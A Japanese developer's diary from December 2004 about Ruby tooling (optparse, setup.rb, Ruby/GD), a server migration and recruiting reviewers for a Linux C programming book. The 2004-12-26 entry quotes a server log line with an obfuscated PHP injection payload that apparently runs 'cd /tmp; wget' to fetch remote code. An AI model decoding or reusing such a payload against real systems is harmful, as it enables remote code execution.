history

青木日記 RSS

<前月 | 最新 | 次月>

2004-12-01

死に

風邪で月曜からダウン中。

(21:56)

Ripper チュートリアル

http://i.loveruby.net/w/RipperTutorial.html

Ripper のチュートリアルを書いてみた。

いずれはしかるべきところにしかるべき形で移したいと思うが、 それがどこでどのような形になるのかは未定。 続きを書く時期も未定。 Ripper の実装が終わる時期も未定。

(22:14)

er

電子レンジに er を付けると

電 子 レ ン ジ ャ ー

(22:15)

まく

免許更新しに行った帰りにグラコロ食べた。

風邪ひいてダメダメとか言っときながら グラコロを食べているようではまだまだである。

(22:29)

気になるSPAM

"Re: What is the Green Card Lottery?" という Subject の SPAM が来た。 なんか気になったのは、Green Card Lottery という単語が こないだの講義で出てきたからだ。 確か従軍するのとひきかえにアメリカの移民権がもらえるとか そういう話の中で出てきたような気がする。

調べてみると、従軍とひきかえにどーのこーのというのは Green Card Marines だった。 Green Card Lottery はより一般的な移民の話だな。 それだったら SPAM になるのも理解できる。

(22:57)

アルファ・ギーク

目の付けどころが鋭いエンジニアのことを 「アルファ・ギーク」と言うそうですね。

で、まあ、この単語を見た瞬間にわたしが考えたのは (略)

(23:03)

一人は (とりあえず) 一人のために

http://mput.dip.jp/mput/?date=20041130

> 自分のプロダクトでいかに「みんなが」幸せになれるか、
> を考えたときに、コンパイルさせるっていうのはそれだけで
> 大きな disadvantage だと気付いたのです。

いやいや、自分が幸せになれるかどうかは重要ですよ。

俺は 6 つの OS と 5 つのアーキテクチャで Ruby と拡張ライブラリをコンパイルしまくった結果、 コンパイルさせるっていうのはそれだけで 「俺が」幸せになれないということに気付きました。

(23:40)

長い追記

ちなみに上記の文は 「俺が、俺が幸せになれないと思った理由」は書いているが 「自分の幸せを考えたほうがよい理由」は書いていない。 それに気付きつつも理由を書かないのは、 「拡張ライブラリを作ると幸せになれない」 という結論が同じなら どうでもいいかなって思ったからである。

つまり、拡張ライブラリが人を幸せにするか (なかなか凄い命題だな)、 という問いに答えるにはコンパイルのコストだけを考えれば十分であり、 みんなのためを思う必要はないと言いたいのだ。

いや違うな。 問いは「拡張ライブラリが人を幸せにするか」であるべきで、 「拡張ライブラリが (自分以外の) みんなを幸せにするか」でも 「拡張ライブラリが俺を幸せにするか」でも不適切であると言いたいのだ。 また、その目的から考えると、 「自分の幸せを考えたほうがよい理由」 は書いても無駄になるばかりか、むしろ本来の目的を阻害する。

ではなぜそこを区別したいかというと、 ……うーむ、なんでだろうな。

(00:07)

もいっこ追記

AIX ではまだ ruby がコンパイルできてないので 6 つの OS と 5 つのアーキテクチャというのは嘘である。 が、数が大きいほうが面白そうなので嘘ついておいた。

(00:26)


2004-12-04

メーリングリスト

exim で ML を運営する場合は何を使うんだろう……。

(21:33)

連鎖発生

うお、しまった。 まずメールサーバを新しいマシンに移さないとだめじゃん。 exim のビルドって面倒なんだよな、くそ……

ML ドライバはとりあえず tml を試してみることにした。

(22:29)

メールサーバ移行

メールサーバにしてるマシンを LAN 内部ですりかえた。 ダウンタイムは 30 秒くらいか。

これがうまく表示されたら、メール→ HTTP ブリッジも回復。

Rubyのコマンドライン引数解析事情

それにしても今日は getopts.rb の警告によくひっかかった。 stderr に出力があるといろんなアプリが止まってしまう。 POP サーバでひっかかり、tDiary ブリッジでひっかかり……。 そのたびに optparse に直してまわったのだが、実にアホくさい。

getopts.rb を使っていると getoptlong を使えと文句を言われるのだが、 はっきり言って getoptlong は失敗作だ。 あれは C 言語のインターフェイスよりもさらに悪化しているので救えない。 optparse にも文句がないこともないが、 getoptlong に比べれば百倍マシである。

問題は互換性だ。1.6 には optparse がないので、 1.6 から 1.9 まで警告フリーで通そうとすると getoptlong を使わざるをえない。苦痛だ。

ちなみに今の optparse のどこが嫌かと言うと、 --lines を定義していると -L が通ってしまうところだ。 あとから -L オプションが定義されたらどーすんの。

とか言ってるあいだに ruby-dev に投げるかな。 でもいま外への回線が切れてるみたいなんだよなあ。

(00:26)

fileutils.rb

fileutils では require できないなんて、そんなこといわれても……。

と思ったらすでにわたなべさんが fix を入れていた。早い。

(01:03)


2004-12-09

ツー

http://www.mikihoshi.com/d/2004-12-08.html#200412080409310

おおっ! wema に矢印 (矢じり?) がついてる! ますます何がどうしてこうなってるのか気になる仕組みだ。 メニュー関係もえらく親切になったなあ。

それとは全然関係ないが「変なもの通」…… ぷよぷよですな。

(06:09)

圏論勉強会

http://www.sampou.org/cgi-bin/haskell.cgi?CategoryTheory%3a%b7%f7%cf%c0%ca%d9%b6%af%b2%f1&l=jp

そうか、11 日だったか……。 今週の土曜はバイトだから無理だなあ。

バイトじゃなくても無理か。

(06:15)

Linux プログラミング本レビュー (1)

今度の Linux 本では読者のみなさんに 出版前レビューをしてもらおうかと思っています。 詳しい点については準備中ですが、 準備ができしだいここでアナウンスする予定です。

で、それを踏まえて先にお聞きしたいんですが、 本のレビューをしてみたいかた (特に初心者)っていますか? 内容は、Linux での C 言語プログラミング入門書です。 章目次は次のような感じ (仮)。

  • Linuxプログラミングを始めよう
  • Linuxを表現する3つの概念
  • Linuxにおけるユーザ
  • ストリームにかかわるシステムコール
  • ストリームにかかわるライブラリ関数
  • headコマンドを作る
  • grepコマンドを作る
  • Linuxのディレクトリ構造
  • ファイルシステム
  • プロセスとメモリ
  • プロセス
  • シグナル
  • プロセスの環境
  • ネットワークプログラミングの基礎
  • HTTPサーバを作る
  • HTTPサーバを実用化する
  • 本書を読み終えた後は

もしレビューをしてもいいというかたがいたら、 てきとーにツッコミを入れるなり、 リンクして言及してもらうなりしていただけると助かります。 正式な募集は数日中に出しますが、とりあえず傾向調査ってことで。

ただし、重要な条件として、対価は出ません。 人数によっては献本くらいはできるかもしれません。 利益は出版前に原稿を読んでケチつけられるってくらいです。

その逆に、何か言ったからと言って責任は一切発生しないので、 安心して文句をつけていただけます!

(06:40)

メールサーバ移行

メールサーバを移動するのはやっぱりそれなりに影響あるなあ。 tDiary のツッコミメールとか mail コマンドが失敗していた。 そのおかげで 「あー全然反応ないよなーどこでレビュアー見付けたらいいんだろうシクシク」 と思ってたんだけど、日記見たらなんか大量にコメントがついてるし!

Linux プログラミング本レビュー (2)

いんらいんあせんぶらを使えるよーな人は初心者とは言いません、 とか書いておくべきだったか。

などという話はどうでもいいとして、 予想外の盛況に驚いてます。 反応をくださった皆様ありがとうございます。

レビュー期間は 12 月いっぱいを予定していたんですが、 すでに 12/10 になっていることを考えると なんだかんだ言いつつ 1 月中旬あたりまで かかりそうな予感がしています。

対象読者は以下のような層を想定しています。

  • C 言語でポインタを使ったプログラミングができる
  • ただし関数ポインタは使った経験がなくてもよい (なんでもここに壁があるらしい)
  • Linux の経験については cd, ls, cp, mv あたりはわかっていてほしい
  • エディタが使えるのも必須

レビューの仕組みは結城さんの方法を参考にしましたが、 基本的には一対一ではなくてメーリングリスト上でやろうかと思ってます。 が、このへんは意見によっては変更します。

(02:54)

BitChannel / マージ

そーだ、zunda さんとこで出てた BitChannel のマージの話を忘れてた。 あれって確か CVS のバージョン依存なんですよね……。 昔 up -rREV + up -A でやってたのを up -jREV -jHEAD に直した経緯があるので、 単純に戻すわけにはいけないのは確かだと思うんです。 -ko にすれば全面的に解決するのかなーとも思うんですが、 何にしろ複数バージョンの CVS でチェックしないとどうにも言えなそう。

なんで -kb にしたのか思い出せないのも問題だ。

(03:12)

本日のツッコミ (全21件) [ツッコミを入れる]

Before...

dan5 [そろそろ自称初心者をやめようかなと思っているレベルなので対象としては合っているかもしれません。]

tokuhirom [C言語の文法はわかるのですが、実用的なプログラムを作ったことがないようなレベルなので、是非レビューさせて欲しいです。]

zunda [本のレビューの初心者です。C言語のほぼ初心者です。どれくらい素早くレビューできるかわかりませんが、少し時間に余裕をいただけるのだったらレビューしたいです。]

nobsun [早く読みたいという欲求おさえがたく。。。]

ささだ [りなっくすでしーげんごのしょしんしゃです]

まつもと [りなっくすでしーげんごのしょしんしゃです。]

yoko [desktopとしてだけLinuxを使っています。Cは完全に初心者です。
レビューだったら投げずに最後まで読めるような気がするので
やってみたいです。]

babie [それぞれ単体では使いますが、LinuxでC言語の組み合わせはやったことありません。
レビュー開始時はRLRも終わっているだろうし...orz]

noritada [Linux は日々愛用していますが C 言語は文法が分かる程度で、
既存のコードの簡単な部分だけ直すのならまだしも、
実用的な大きなプログラムを作るにはまだまだ知識が足りません。
レビューに興味があります。]

arton [LinuxでCの初心者です。というか、単純にファンです。]

bakkyo [教育現場にて Linux プログラミングのレクチャをしている者です。
初心者に教えるという視点で、あるいはそういった資料を作成してきた者として
有益なフィードバックが可能だと思います。]

imoya [本が出るの楽しみにしてました。
Cは文法がわかるくらい。
Linuxでの開発は経験ありません。
レビューやってみたいです。]

h12o [レビューは、関連分野を勉強するいいきっかけになるので好きです。レビューしてみたいなあ、と思っています。]

たかはし [ふだんはPHP使いで、Cはほんとに初心者なうちの後輩が興味を持ってるようです。本気で初心者なので、そーゆーひとの感想(説明がぜんぜん難しすぎでダメだとか)が求められているのならよいんじゃないかと。]

ksaito [普段はMacOSXですが、仕事では組み込みLinuxとかなので、べんきょうできるとうれしいです。れびゅうに、まぜてください(遊びに入りたい小学生風に)。]

ksaito [えーっとふざけすぎたかもしれませんが、基板上でも動作確認できますよ、って意味にとってくださいませ。]

hiro [ 正直、C言語の本は書店に溢れかえっていて、もう要らんよ。
と思っていましたが、
青木さんの「筆調」の大ファンなもんですから(切れ味鋭い
とこが好きです)、やっぱり女房に内緒で買ってしまうんだろ
なあ、と思っています。
 どうせ買いますから、運が良ければ早く読みたいってだけ
です。]

いろいろしょしんしゃzunda [cvs-1.11.6 (SuSE 9.0)、1.11.17 (Momonga 1)、1.11.1p1 (SunOS 5.8?)でconflictするような編集を試してみましたが、どれでも、-koで、up -j#{rev} -jHEAD ではconflictしてくれずに後の編集が勝ってしまいました。ご報告まで。]

なな [はじめまして。結城さんサイトでこちらの話題を知りました。レビューに興味があります。実務でJavaを1年半書いてますが・・・C&Linuxは初心者です(涙) 家に環境はあります。]

kmiya [はじめまして。本のレビューにとても興味があります。是非やってみたいです。プログラミングはもう数年やってますが何せFortranなので、(JavaやCは趣味でやった程度です)是非是非レビューやってみたいです。]


2004-12-10

NetBSD 2.0

http://www.netbsd.org/Releases/formal-2.0/NetBSD-2.0.html

NetBSD がメジャーバージョンアップ。 この機会に AlphaStation 500 に NetBSD を入れ直そうかな。

とか言って、いつ作業するつもりなんですかねこの人。

(19:06)

パスにスペース問題

TMail のバグレポートをもらった。 なかなか要領を得ないレポートだったが、 ようするに「Ruby のインストール先パスにスペースが入ってるので nmake が動かなくてインストールできないよ問題」らしい。

なんつーんですかね、シンクロニシティ? 同じ問題は集中して起きる法則? あるいは、同じ問題が同時に起きると印象に残るのでそういう事例ばかりが強調される法則? 統計的に言えば類似の問題はある程度集中するのが自然ですよの法則?

そんなメタな話は置いとくとして、 やっぱりこれは根本的に解決しないとまずいような気がする。 かと言って根本的な解決策なんてあまり思いつかない。

  • 拡張ライブラリは作らないように気をつける
  • Rubyはスペースの入ってないパスにインストールする
  • 拡張ライブラリ専用 make を Ruby で書く
  • make に頼らず setup.rb でコンパイルする

うーむ……。 根本的にはビルド機構 (make とシェルツール) を Ruby で書くのがベストかなあ。Windows を考慮に入れれば シェルとか make に可搬性がないのは明らかだ。 その一方、Ruby の拡張ライブラリを入れるからには Ruby が使えると仮定するのは自然である。 setup.rb もそういう前提のもとに作られている。 その setup.rb が仮定から外れた make という存在に関わるのはおかしい。

つまり extconf.rb は捨てて…… いや捨てなくてもいいな、create_makefile を置き換えれば十分だ。 make / Makefile を経由せずに直接情報をとりこみ、 自力でコンパイラその他を起動すればよい。

そういえば rake なんてのもあったなあ。 ruby-talk では setup.rb を rake に組み込めるようにしてくれって言われたけど、 上記の道筋では逆に、setup.rb に rake を組み込むほうがよいのかもしれん。

いや、そこまでいかなくてもいいかもしれないな。 どうせ setup.rb はインストールでは make を使ってないんだから、 あとはコンパイルだけ通せば十分じゃないだろうか。

さらに言えば困るのは Windows だけなんだから、 mswin32 なコンパイル環境だけごまかせれば十分だ。 これならなんとかなるかもしれないな。

(20:33)

optparse めも

CVS コマンドみたいなサブコマンドを OptionParser で実装する

~ % cat t
require 'optparse'
 
parser = OptionParser.new
parser.on('-i') { puts "-i" }
parser.on('-o') { puts '-o' }
 
subparsers = Hash.new {|h,k|
  $stderr.puts "no such subcommand: #{k}"
  exit 1
}
subparsers['add'] = OptionParser.new.on('-i') { puts "add -i" }
subparsers['del'] = OptionParser.new.on('-i') { puts "del -i" }
subparsers['list'] = OptionParser.new.on('-i') { puts "list -i" }
 
parser.order!(ARGV)
subparsers[ARGV.shift].parse!(ARGV) unless ARGV.empty?
 
~ % ruby t
~ % ruby t -i
-i
~ % ruby t -i del -i
-i
del -i
~ % ruby t -o del -i
-o
del -i
~ % ruby t -i del -o
-i
/usr/lib/ruby/1.9/optparse.rb:1445:in `complete': invalid option: -o (OptionParser::InvalidOption)
        from /usr/lib/ruby/1.9/optparse.rb:1443:in `catch'
        from /usr/lib/ruby/1.9/optparse.rb:1443:in `complete'
        from /usr/lib/ruby/1.9/optparse.rb:1304:in `order!'
        from /usr/lib/ruby/1.9/optparse.rb:1273:in `catch'
        from /usr/lib/ruby/1.9/optparse.rb:1273:in `order!'
        from /usr/lib/ruby/1.9/optparse.rb:1353:in `permute!'
        from /usr/lib/ruby/1.9/optparse.rb:1380:in `parse!'
        from t:16

(23:34)

本日のツッコミ (全2件) [ツッコミを入れる]

なかだ [サブコマンドの例は、optparse単体で配布してたときにはサンプルを入れてたんですが。
でもこっちのほうが分かりやすそうなので、sample/optparse/に入れていいですか。]

青木 [もちろん構いません。好きなように使ってください。]


2004-12-11

レビュー準備 (1)

ML ドライバをインストールしようとしていたはずが ML ドライバを書きはじめてしまう罠、をなんとかくぐりぬけて、 FML が動いてくれました。やれやれ。

えーと次は CVS とウェブインターフェイスか。 これは稼働実績があるから簡単だろう。

(11:47)

LMTP

http://www.networksorcery.com/enp/rfc/rfc2033.txt

exim の設定を探してるときに見付けたんだけど、 LMTP (Local Mail Transfer Protocol) ってのがあるのね。 SMTP の HELO/EHLO が LHLO になってるだけで、あとは SMTP と同じプロトコル。 通信路はソケットの代わりにパイプを使う。

(12:20)

レビュー準備 (2)

ウェブインターフェイスも準備できた。

ここに来て困ったのが CVS レポジトリだ。 自作のレポジトリミラーツールは ローカル・ローカルのコピーしかできないのを忘れていた。

あ、そうか、古いほうには cvsup client があるから 新しいほうに cvsup server を入れれば cvsup で行けるかも。 試してみよう。

5 時からバイトだから、ちょっとは寝たいんだけどな。 それまでにできるだろうか。

というか火曜までのレポートが一本あるのを忘れていた。 やばい……

(12:22)


2004-12-15

Linux プログラミング本のレビュアー募集

先日はたくさんの反応ありがとうございました。 現在執筆中の『やさしく書ける Linux プログラミング (仮)』の レビュアーを正式に募集します。 参加を希望するかたは以下のページの要項をお読みになり、 青木までメールでお知らせください。

前回も書いたとおり、 今回の本は Linux 上での C プログラミングの入門書です。 C 言語と Linux の簡単な操作については知っていることが 前提になっているので御注意ください。

なお、今回のレビューの要項を決定するにあたり、 結城浩さんの記事 「書籍執筆とオンラインレビュー」 がとても参考になりました。 有益な文書を提供してくださっている結城さんに感謝します。

(04:32)

LCD × 5

http://www.go-l.com/monitors/athens/features/index.htm

凄すぎ。いくらくらいするんだろ。

(02:55)

Haskell

http://www.hyuki.com/diary/200412#i20041214213636

ついに結城さんまで Haskell を!

Haskell 大流行ですな。

(02:56)


2004-12-17

Linux プログラミング本レビュー

もの凄い勢いでレビュアの申し込みが来てます。 現在 24 名。どうもありがとうございます。

いまのところ、思っていたよりレベルの高いかたが多いですね。 Linux プログラミングという題名のせいか、 Linux 特有のかなりつっこんだ話を期待されているのかな。 実際にはかなり初歩の初歩って感じなので、 特に最初のほうはかなり退屈させてしまうかもしれません。 なにしろ第一章は「gcc をインストールしましょう〜」 「とりあえず Hello, World コンパイルしますよ〜」 「argv の構造」てなところから始まりますから。

あと複数のかたから原稿のフォーマットについて質問があったので ここでも答えておくと、原稿は RHG で使った独自フォーマットです。 基本的にはプレーンテキスト + α なので、 読むのに特にソフトが必要とかいうことはありません。 RHG の場合だとこんな感じです。

= オブジェクト
 
== Rubyオブジェクトの構造
 
=== 指針
 
この章からはいよいよ実際にrubyのソースコードを探索していく。
まずは当初の宣言通りオブジェクトの構造から始めるとしよう。
 
さて、オブジェクトがオブジェクトとして成立するにはどういう条件が必要だ
ろうか。オブジェクトというものの説明は何通りもありうるが、本当に欠かせ
ない条件は三つだ。即ち、
 
  * 自分とその外を区別できる(アイデンティティを持つ)
  * 働きかけに反応することができる(メソッド)
  * 内部状態を持つ(インスタンス変数)
 
である。本章ではこの三つの特徴をこの順番で確認していく。
 
対象となるファイルは主にruby.hであるが、
それに加えobject.c・class.c・variable.cなども
眺めながら進むことになる。
 
 
(略)
 
 
=== struct RHash
 
struct RHashはRubyのハッシュテーブル、
Hashオブジェクトのための構造体である。
 
//list[struct_RHash][ruby.h / struct RHash]{
struct RHash {
    struct RBasic basic;
    struct st_table *tbl;
    int iter_lev;
    VALUE ifnone;
};
//}
 
struct st_tableのラッパーである。
st_tableについては@<chap>{name}で詳しく解説する。
 
ifnoneは対応付けられていなかったキーを検索したときの値で、
デフォルトはnil。iter_levはハッシュテーブル自体を
リエントラント(マルチスレッドセーフ)にするための仕掛けである。
 
 
(略)
 
 
//image[rdata][struct RDataのイメージ図]{
+VALUE+       +-struct RData-+          + struct XXXX +
|  ---------> |   basic      |          |             |
+-----+       |   data ---------------->|             |
              |              |          |             |
              +--------------+          +--------------
//}

(07:02)

Linux プログラミング本レビュー (2)

事務手続きが滞っておりますが、 メールはちゃんと届いているので、 返事がこないかたはいましばらくお待ちください。 今日中には反応します。 いきなり今日レビューを始めたりすることはありませんので。

(07:39)

Linux プログラミング本レビュー (3)

あせって返信しまくっているところですが、 半分くらいしか書かないうちに次の日になりそうです。 すみません……。どうも時間の見積もりが甘いんだよなあ。

(23:57)

Linux プログラミング本レビュー (4)

徐々に直してはいるんですが、 あせったせいか最初のほうのメールが かなりぶっきらぼうになってしまいました。 不快に感じた方がいたらすみません。

さて、レビューへの参加はまだまだ受け付けているので、 我こそはと思うかたはご応募ください。 基本的には、レビューが終わるまでは (= 校了するまでは) 受け付けます。 要項は以下の URL にあります。

ちなみになぜメーリングリストを使うようにしたかと言うと、 一つは自分が慣れているから。 二つめは原稿配布の手間を減らすため。 三つめは、結城さんのレビュー後のアンケートを見ていると、 「他の人の意見も読んでみたい」という意見がけっこうあったからです。

メーリングリストを使うと議論が盛り上がりすぎる場合があるので P2P のほうがいいかとも思ったんですが、 こればかりはやってみないとわかりませんから。 ただ一つ心配なのは、特に初心者の場合、 メーリングリストで意見を述べるのが恐いと感じるかもしれないという点です。 この点を考慮して、レビューを出すのは青木個人宛でも ML でもいいということにしました。 ですが他人の意見を読むのは著者でなくとも面白いですから、 ぜひ怖がらずに ML に出してくれるといいなあと思います。

……というようなことこそ、レビュー用 ML で書くべきだよなあ。 あとで流そう。

ん、いや待てよ、ML に流すと自分のメールアドレスが知れるという問題があるな。 From は消したほうがいいだろうか。

(00:54)

本日のツッコミ (全3件) [ツッコミを入れる]

ささだ [gcc インストール方法大期待.毎回クロス環境作るときに悩みます.]

babie [↑クロス環境...どう見てもターゲットじゃないw。GCCプログラミング工房をドゾー(まだ出てないけど)]

babie [メールの返信、一律同報メールでも良かったのに(笑
なにはともあれ、よろしくお願いします。]


2004-12-18

Linux プログラミング本レビュー (5)

12/18 04:00 までに届いたメールには返信しました。

人数はいまのところ 31 人。まだ増えるだろうか……。 全部に反応できるか、さすがに心配になってくる人数だな。

ところで、結城さんのレビューガイドだと、 参加するときのメールに書く項目として 「自己アピール」というのがある。 別になくてもいいかなーと思って省略したんだけど、 この項目がないと返事が書きにくいということがよくわかった。 次からはこれと「応募した理由」を入れよう。

えーと次は ML にテストメール投げて、 とりあえず第一章を流そうかな。

いやその前に (すでに締切が過ぎてる) レポート書こ。

とか言いつつメールを投げてみた。 ちゃんと動いてるかな?

(08:29)

やっと起きた……

なんか RHG 読書会がえらい勢いで進んでるなあ。 もしかして今回ラストですか?

(00:45)

本日のツッコミ (全2件) [ツッコミを入れる]

nobsun [メイリングリストは稼働してるみたいです。今日はRHG読書会です。]

青木 [うう、読書会だけ行こうと思ってましたけど、
レポートが終わらないので無理ぽいす……。

それはそれとして ML 動いてましたか。よかった。
実は LAN 外に出すテストをまだしてなかったもんで ^^;;]


2004-12-19

Linux プログラミング本レビュー

第 1 章を送付。

とりあえず 1 章は小手調べです。 概念説明の終わる第 3 章までは 1 日 1 章くらいで流してしまいたい。

(07:17)

CVS レポジトリの一部だけ隠す

CVS レポジトリの一部だけを 外から見えないようにしたいのだが、方法を思いつかない。 いまはとりあえず cvsup 直後に rm -rf してごまかしてるんだけど、 もうちょっとまともな解決方法が欲しいな。

ちなみに subversion では そういうこともできるのだろうか。

(08:49)

本日のツッコミ (全2件) [ツッコミを入れる]

moguru [これですかね。できるみたいですよ。
http://subversion.bluegate.org/doc/ch06s04.html#svn-ch-6-sect-4.4.2]

青木 [む、できるんですね。ありがとうございます。
やっぱり CVS は早く捨てたいなあ。]


2004-12-20

Linux プログラミング本レビュー (7)

早くもたくさんの反応を受け取っています。 ありがとうございます。

レビュー 1 回目のの感想。

  • 自分でも気にしてるところは必ずつっこまれるの法則。
  • 「ベタな」って一般的な語じゃなかったのか。

さて、バイトに行くまでにどれだけ直せるかな。

いや、今日は直すよりも先を出したほうがいいか。 せっかくレビューするなら読んでもらう時間を長く取ったほうがいいよな。

(12:32)

最近痛感すること

俺ってメール書くのがメチャ遅い。

(14:04)

Linux プログラミング本レビュー (8)

今日中に 2 章を出す! 出すんだよ!

ということは、17:00 からバイトなので 16:00 までには出さないといけない。いそげー

……あぁぁ、今日月曜か。 月曜のバイトはきついんだよなあ。 絶対に荷物が処理しきれないしさ。

(15:01)

Linux プログラミング本レビュー (9)

かっこ 9 まで来るのは BitChannel の日本語ページ名を うだうだ考えてたとき以来ではなかろうか。

第 2 章は結構重要な章なので他の章より考えて 書かなければいかんという思いがある。 しかしそんなことばかり言ってると完成しない言い訳にもなるので、 まず見せてしまって恥をかくのも重要だろう。

レビューの副作用として、 著者のモチベーションが上がるという点がある。 著者と編集者くらいしか読まない場合と、 一般の人に見てもらう場合ではぜんぜん緊張感が違う。

こころもち速度も上がるようだ。

(15:38)

本日のツッコミ (全5件) [ツッコミを入れる]

babie [私は1件20分ぐらいですが、これよりも遅い?>メール書くの]

青木 [もちろん内容にもよると思いますけど、
今日は 5KB のメールを書くのに 30 分かかりました。]

青木 [なんかいろいろ考えすぎることが多いのと、
複数のメールが全部気になってしまって
結局どれも書けないということがよくあります。]

安達 [>「ベタな」は、トシのギャップでしょう。たぶん。]

babie [ウダウダ考えている間に時機を逸してしまうのは良くあります。
まつもとさんのMLへの返事とか見ると「短っ!」って思うけど、
あれぐらいじゃないと何もできなくなっちゃうんだろうなぁ。]


2004-12-23

Linux プログラミング本レビュー (10)

うう……ようやく 3 章を送ったよ。 この章は悩みに悩んだ。 次の章からは API の話なんでかなり楽そう。

(09:27)

12 月、賞味期限と戦う

12 月 21 日正午賞味期限切れのおにぎりが 3 つある。

  • 初摘みのり ねぎとろ
  • わかめごはん
  • おかか

とりあえず割ってにおいをかいでみる。 問題なさそうだ。

食う。米の水分が抜けきってパサパサ。 まずい。食えたもんじゃない。

なんとなく腹痛がしたような気がするが気のせいだろう。

(12:14)

4 丁目町内会夜まわり

「ひのよーじん」やってきた。さみーよ。

しかし途中で思ったんだけど、 あれってなんで「火の用心」なんだろうね。 フツーに考えたら「火に用心」だろ? 「の」ってなんだよ「の」って。

で由来を調べた。

「火の用心」というフレーズが最初に使われたのは 慶安元年のお触れ書きらしい。

「町中の者は交代で夜番すべし。 月行事はときどき夜番を見回るべし。 店子たちは各々火の用心を厳重にすべし」

なるほどね。 この文脈なら「火の用心」でないとおかしい。 納得した。

(22:34)

本日のツッコミ (全2件) [ツッコミを入れる]

hyuki [がんばれ〜!]

青木 [ありがとうございます。
結城さんもちょうど 3 章なんですね。
お互いいい本ができるようがんばりましょう。]


2004-12-24

Linux プログラミング本レビュー (11)

レビュアーのみなさんから もらった意見に返信しつつ本文をグシグシ直す。

ょゎさんのメールに返信してるとちゅうで力尽きた。 いちど寝よう。

明日からはバイトない日は「一章流す + 返信」、 バイトある日は「一章流す」でいきたい。 後ろのほうが読みたい人もいそうだし、 とにかく原稿を耳揃えて出してしまおう。

(05:16)


2004-12-25

環境変数ではまる

Ruby 1.8 の drb のテストが通らない。いろいろやってみて、 なぜか ./drb/drb.rb を置いておくと問題が起こらないことがわかった。 しかし 1.8.2p4 のライブラリである /usr/local/pkg/ruby-1.8.2p4/lib/ruby/1.9/drb/drb.rb と ./drb/drb.rb は全く同じだ。

なーんか変だなあと思って ruby に -d を付けてみると、 こんなログが出てきた。

Exception `TypeError' at /usr/local/pkg/ruby-ccc/lib/ruby/1.9/drb/drb.rb:395 - can't dump

/usr/local/pkg/ruby-ccc というプリフィクスはどっから出てきたんだ? もしかして system で ruby を起動してるのか。 調べてみると、ruby のパスは test/ruby/envutils.rb で検出されているようだ。

  def rubybin
    if ruby = ENV["RUBY"]
      return ruby
    end

あ。

tunami:~/src/ruby-1.8 % echo $RUBY
ruby
tunami:~/src/ruby-1.8 % ruby --version
ruby 1.9.0 (2004-12-08) [alphaev6-osf5.1b]

ごめんなさいわたしが悪うございました。 unset RUBY したら全部 pass した。

(05:44)

Debian の cron

Debian の cron は /etc/cron.d を自動的にチェックしてくれる。 ただしファイル名は [a-zA-Z_0-9\-]+ でなければならない。

んで /etc/cron.d/local.cvs とか作って、 動かないことに悩むのであった。

(09:52)

cvs.loveruby.net 移動

cvs.loveruby.net の実体サーバをすりかえた。 残るは DNS とウェブかー。 DNS はもう用意できてるからルータの設定を変えれば終わりだけど、 ウェブが……。 tDiary と BitChannel が難敵だ。

(10:24)

test

新ウェブサーバのテストー

(15:09)

i.loveruby.net 移動

思いきってウェブも移動してみた。 これで残るは DNS のみ。 問題が起きた場合の切り分けを簡単にするために、 DNS は別の日にする。

(15:41)

マシンの使い道

なんで急にサーバを移動しはじめたかというと、 もう管理コストが限界だから。 2 台あると面倒でしかたない。 ついでに、手の空いたマシンを Fedora Core のテストに使おうという目論見もある。

(15:53)

setup.rb は便利だ!

いまさら自分で言うのもアレだが、setup.rb て結構便利だな。 setup.rb に対応してないパッケージでも、 たいていファイルを並びかるだけで setup.rb が使えてしまう。 サーバで使ってる Ruby のライブラリがたくさんあるんだけど、 これも全部まとめて packages/ に展開しておけば あとは setup.rb インターフェイスで全部一気にビルド・インストールできる。 別ディレクトリでのビルドに対応してるのも便利だ。

(17:33)

Ruby/GD の HEAD 対応

1.9.0 2004-11-18 だと tdiarygrep がエラーになるよー ということで最新にアップデートしたら 今度は Ruby/GD がコンパイルに失敗した。 うわ、stdio 捨ての影響か。

意地でコンパイルだ → http://i.loveruby.net/archive/d/rubygd-nonstdio.txt

(19:08)

本日のツッコミ (全2件) [ツッコミを入れる]

なかだ [http://nokada.jin.gr.jp/ruby/gd.diff
なども。]

青木 [すげっ!
なんかほとんど書き換えてません?
ここまでくるとパッチのほうがでかそうな……]


2004-12-26

Ruby/GD 続き

中田さんのパッチを当てたら parse error が出たので とりあえずコンパイル通してついでに -Wall もかけといた (条件式中の代入は除く) → http://i.loveruby.net/archive/d/GD.c-nobu.txt

tdiarytimes は問題なく動いているようだ。

(07:34)

変なHTTPアクセス

急にこんなアクセスが増えた。何のアプリケーションを狙った攻撃だろ。

[Sun Dec 26 02:06:55 2004] [error] [client 209.120.238.130] (36)File name too long:
access to /d/20040822.html&highlight=%27%2esystem(chr(99)%2echr(100)%2echr(32)
%2echr(47)%2echr(116)%2echr(109)%2echr(112)%2echr(59)%2echr(119)%2echr(103)
%2echr(101)%2echr(116)%2echr(32)%2echr(119)%2echr(119)%2echr(119)%2echr(46)
%2echr(118....

(07:49)

Linux プログラミング本レビュー (12)

散々混乱させてくれたサーバ分裂も ようやく片付けたことだし、原稿に戻ろう。 ずいぶん遅れちゃったなあ。 今日は 1 章分の返信を終わらせて 4 章を出そう。

というか、このままだと何日かかるんだ。 まず不可能なペースだが毎日 1 章出したとして、

  • 26 (日) 4 章 (バイト)
  • 27 (月) 5 章 (バイト)
  • 28 (火) 6 章
  • 29 (水) 7 章
  • 30 (木) 8 章
  • 31 (金) 9 章
  • 1/1 (土) 10 章
  • 2 (日) 11 章 (バイト)
  • 3 (月) 12 章 (バイト)
  • 4 (火) 13 章 (バイト)
  • 5 (水) 14 章
  • 6 (木) 15 章
  • 7 (金) 16 章
  • 8 (土) 17 章

6 日には大学が始まるから、 それまでに宿題もやんないといけないし。 そういえばレポートもあったような気がするな。 というかこれは流す日程であってレビューが終わる日程ではないんだから、 反応をもらってそれをとりこむのはもっと遅くなるわけだ。

2 章同時に出すしかないか。 まがりなりにも一回書き終わってるわけだから、 短い章なら出せそうな気もする。

とにかく今週が山場だということはよくわかった。

(08:16)

日記ドリブン

ウダウダ言ってるあいだに書けって話もあるが、 俺は日記ドリブンだからなあ (日記にウダウダ書きながらやることを考える)。 日記に何も書いてないときはだいたい活動力が落ちてると考えていい。

fileutils

[ruby-talk:124368] Re: All I want to do is move a directory :(

FileUtils.mv が自分の思った通りに動かなくて怒ってるらしい。 知るか。その操作は mv じゃないってだけじゃん。

だいたい、移動先の .trash/ という名前からすると ゴミ箱を作ろうとしてるんだろ。 それなら上書きしちゃだめだと思うんだよな。 同名のディレクトリがあったら dir.1 とかにバックアップしなきゃ。

